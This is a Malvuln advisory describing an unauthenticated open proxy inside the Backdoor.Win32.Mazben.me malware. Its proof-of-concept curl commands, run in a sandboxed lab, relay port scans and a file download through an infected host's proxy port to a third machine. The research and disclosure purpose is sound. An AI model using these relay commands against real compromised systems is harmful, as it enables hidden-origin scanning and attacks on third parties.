Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/6681d5e4b68abd21a14c704edf9e2ff5.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Mazben.me
Vulnerability: Unauthenticated Open Proxy 
Description: The malware listens on random TCP ports like 3515, 7936, 3972. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: 6681d5e4b68abd21a14c704edf9e2ff5
Vuln ID: MVID-2021-0302 
Disclosure: 07/26/2021


Exploit/PoC:
Scan port 21)

curl http://192.168.18.129:3515 -H "Host: 192.168.18.128:21"
220 INetSim FTP Service ready.
500 Unknown command.
500 Unknown command.


Scan port 110)

curl http://192.168.18.129:3515 -H "Host: 192.168.18.128:110" -v
+OK INetSim POP3 Server ready <17458.1627158019@pop3host>
-ERR Unknown command.
-ERR Unknown command.

Download filez)

curl http://192.168.18.129:3515/DOOM.exe -H "Host: 192.168.18.128" --out DOOM.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 24576  100 24576    0     0  24576      0  0:00:01 --:--:--  0:00:01  307k


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